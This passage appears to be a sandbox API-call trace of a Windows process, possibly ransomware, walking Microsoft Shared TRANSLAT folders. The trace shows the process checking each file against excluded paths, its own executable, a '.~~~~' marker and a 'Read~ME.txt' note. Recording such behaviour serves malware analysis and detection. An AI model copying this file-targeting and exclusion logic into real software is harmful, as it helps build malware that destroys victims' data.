	[0079.023] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1
	[0079.023] lstrcmpiW (lpString1="MSB1ENES.ITS", lpString2="Windows") returned -1
	[0079.023] lstrcmpW (lpString1="MSB1ENES.ITS", lpString2="oiikyy.exe") returned -1
	[0079.023] StrStrW (lpFirst="MSB1ENES.ITS", lpSrch=".~~~~") returned 0x0
	[0079.023] lstrcmpW (lpString1="MSB1ENES.ITS", lpString2="Read~ME.txt") returned -1
	[0079.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.023] GetCurrentThreadId () returned 0x618
	[0079.023] RtlWakeConditionVariable () returned 0x365f48
	[0079.023] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0
	[0079.023] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.023] GetCurrentThreadId () returned 0x618
	[0079.023] RtlWakeConditionVariable () returned 0x365f48
	[0079.025] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0079.025] lstrcmpiW (lpString1="ENFR", lpString2="Windows") returned -1
	[0079.025] lstrcmpW (lpString1="ENFR", lpString2=".") returned 1
	[0079.025] lstrcmpW (lpString1="ENFR", lpString2="..") returned 1
	[0079.025] lstrcmpW (lpString1="ENFR", lpString2="AppData") returned 1
	[0079.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", lpSrch="AppData") returned 0x0
	[0079.025] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.025] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", lpString2="C:\\Windows") returned -1
	[0079.025] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.025] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR", lpString2="C:\\System Volume Information") returned -1
	[0079.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.026] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.026] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.026] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.026] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.026] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.026] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.026] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.027] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.027] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.027] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.027] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.027] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.027] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.027] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1
	[0079.027] lstrcmpiW (lpString1="MSB1ENFR.ITS", lpString2="Windows") returned -1
	[0079.027] lstrcmpW (lpString1="MSB1ENFR.ITS", lpString2="oiikyy.exe") returned -1
	[0079.027] StrStrW (lpFirst="MSB1ENFR.ITS", lpSrch=".~~~~") returned 0x0
	[0079.027] lstrcmpW (lpString1="MSB1ENFR.ITS", lpString2="Read~ME.txt") returned -1
	[0079.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.027] GetCurrentThreadId () returned 0x618
	[0079.028] RtlWakeConditionVariable () returned 0x365f48
	[0079.028] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0
	[0079.028] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.028] GetCurrentThreadId () returned 0x618
	[0079.028] RtlWakeConditionVariable () returned 0x365f48
	[0079.028] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0079.028] lstrcmpiW (lpString1="ESEN", lpString2="Windows") returned -1
	[0079.028] lstrcmpW (lpString1="ESEN", lpString2=".") returned 1
	[0079.029] lstrcmpW (lpString1="ESEN", lpString2="..") returned 1
	[0079.029] lstrcmpW (lpString1="ESEN", lpString2="AppData") returned 1
	[0079.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", lpSrch="AppData") returned 0x0
	[0079.029] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.029] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", lpString2="C:\\Windows") returned -1
	[0079.029] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.029] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN", lpString2="C:\\System Volume Information") returned -1
	[0079.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.030] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.030] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.030] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.030] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.030] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.030] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.030] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.030] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.030] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.030] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.030] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.030] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.030] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1
	[0079.030] lstrcmpiW (lpString1="MSB1ESEN.DLL", lpString2="Windows") returned -1
	[0079.030] lstrcmpW (lpString1="MSB1ESEN.DLL", lpString2="oiikyy.exe") returned -1
	[0079.030] StrStrW (lpFirst="MSB1ESEN.DLL", lpSrch=".~~~~") returned 0x0
	[0079.030] lstrcmpW (lpString1="MSB1ESEN.DLL", lpString2="Read~ME.txt") returned -1
	[0079.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.030] GetCurrentThreadId () returned 0x618
	[0079.030] RtlWakeConditionVariable () returned 0x365f48
	[0079.031] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1
	[0079.031] lstrcmpiW (lpString1="MSB1ESEN.ITS", lpString2="Windows") returned -1
	[0079.031] lstrcmpW (lpString1="MSB1ESEN.ITS", lpString2="oiikyy.exe") returned -1
	[0079.031] StrStrW (lpFirst="MSB1ESEN.ITS", lpSrch=".~~~~") returned 0x0
	[0079.031] lstrcmpW (lpString1="MSB1ESEN.ITS", lpString2="Read~ME.txt") returned -1
	[0079.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.031] GetCurrentThreadId () returned 0x618
	[0079.031] RtlWakeConditionVariable () returned 0x365f48
	[0079.031] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1
	[0079.031] lstrcmpiW (lpString1="WT61ES.LEX", lpString2="Windows") returned 1
	[0079.031] lstrcmpW (lpString1="WT61ES.LEX", lpString2="oiikyy.exe") returned 1
	[0079.031] StrStrW (lpFirst="WT61ES.LEX", lpSrch=".~~~~") returned 0x0
	[0079.031] lstrcmpW (lpString1="WT61ES.LEX", lpString2="Read~ME.txt") returned 1
	[0079.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.031] GetCurrentThreadId () returned 0x618
	[0079.031] RtlWakeConditionVariable () returned 0x365f48
	[0079.031] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0
	[0079.031] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.032] GetCurrentThreadId () returned 0x618
	[0079.032] RtlWakeConditionVariable () returned 0x365f48
	[0079.032] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1
	[0079.032] lstrcmpiW (lpString1="FRAR", lpString2="Windows") returned -1
	[0079.032] lstrcmpW (lpString1="FRAR", lpString2=".") returned 1
	[0079.032] lstrcmpW (lpString1="FRAR", lpString2="..") returned 1
	[0079.032] lstrcmpW (lpString1="FRAR", lpString2="AppData") returned 1
	[0079.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", lpSrch="AppData") returned 0x0
	[0079.032] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.032] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", lpString2="C:\\Windows") returned -1
	[0079.032] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.032] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR", lpString2="C:\\System Volume Information") returned -1
	[0079.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.111] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.132] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.132] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.132] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.132] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.132] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.132] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.132] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.132] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.132] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.132] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.132] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.132] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1
	[0079.132] lstrcmpiW (lpString1="MSB1FRAR.ITS", lpString2="Windows") returned -1
	[0079.132] lstrcmpW (lpString1="MSB1FRAR.ITS", lpString2="oiikyy.exe") returned -1
	[0079.132] StrStrW (lpFirst="MSB1FRAR.ITS", lpSrch=".~~~~") returned 0x0
	[0079.132] lstrcmpW (lpString1="MSB1FRAR.ITS", lpString2="Read~ME.txt") returned -1
	[0079.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0079.132] GetCurrentThreadId () returned 0x618
	[0079.132] RtlWakeConditionVariable () returned 0x365f48
	[0079.132] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0
	[0079.132] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0079.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0079.133] GetCurrentThreadId () returned 0x618
	[0079.133] RtlWakeConditionVariable () returned 0x365f48
	[0079.135] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1
	[0079.135] lstrcmpiW (lpString1="FREN", lpString2="Windows") returned -1
	[0079.135] lstrcmpW (lpString1="FREN", lpString2=".") returned 1
	[0079.135] lstrcmpW (lpString1="FREN", lpString2="..") returned 1
	[0079.135] lstrcmpW (lpString1="FREN", lpString2="AppData") returned 1
	[0079.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", lpSrch="AppData") returned 0x0
	[0079.135] lstrlenW (lpString="C:\\Windows") returned 10
	[0079.135] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", lpString2="C:\\Windows") returned -1
	[0079.135] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0079.135] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN", lpString2="C:\\System Volume Information") returned -1
	[0079.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0079.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0079.259] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0079.259] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0079.259] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0079.259] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0079.259] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0079.259] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.264] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0079.264] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0079.264] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0079.277] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0079.277] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0079.277] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0079.277] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1
	[0079.277] lstrcmpiW (lpString1="MSB1FREN.DLL", lpString2="Windows") returned -1
	[0079.277] lstrcmpW (lpString1="MSB1FREN.DLL", lpString2="oiikyy.exe") returned -1
	[0079.277] StrStrW (lpFirst="MSB1FREN.DLL", lpSrch=".~~~~") returned 0x0
	[0079.278] lstrcmpW (lpString1="MSB1FREN.DLL", lpString2="Read~ME.txt") returned -1
	[0079.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.278] GetCurrentThreadId () returned 0x618
	[0079.278] RtlWakeConditionVariable () returned 0x365f48
	[0079.278] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1
	[0079.278] lstrcmpiW (lpString1="MSB1FREN.ITS", lpString2="Windows") returned -1
	[0079.278] lstrcmpW (lpString1="MSB1FREN.ITS", lpString2="oiikyy.exe") returned -1
	[0079.278] StrStrW (lpFirst="MSB1FREN.ITS", lpSrch=".~~~~") returned 0x0
	[0079.278] lstrcmpW (lpString1="MSB1FREN.ITS", lpString2="Read~ME.txt") returned -1
	[0079.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7108
	[0079.278] GetCurrentThreadId () returned 0x618
	[0079.278] RtlWakeConditionVariable () returned 0x365f48
	[0079.278] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1
	[0079.278] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="Windows") returned 1
	[0079.278] lstrcmpW (lpString1="WT61FR.LEX", lpString2="oiikyy.exe") returned 1
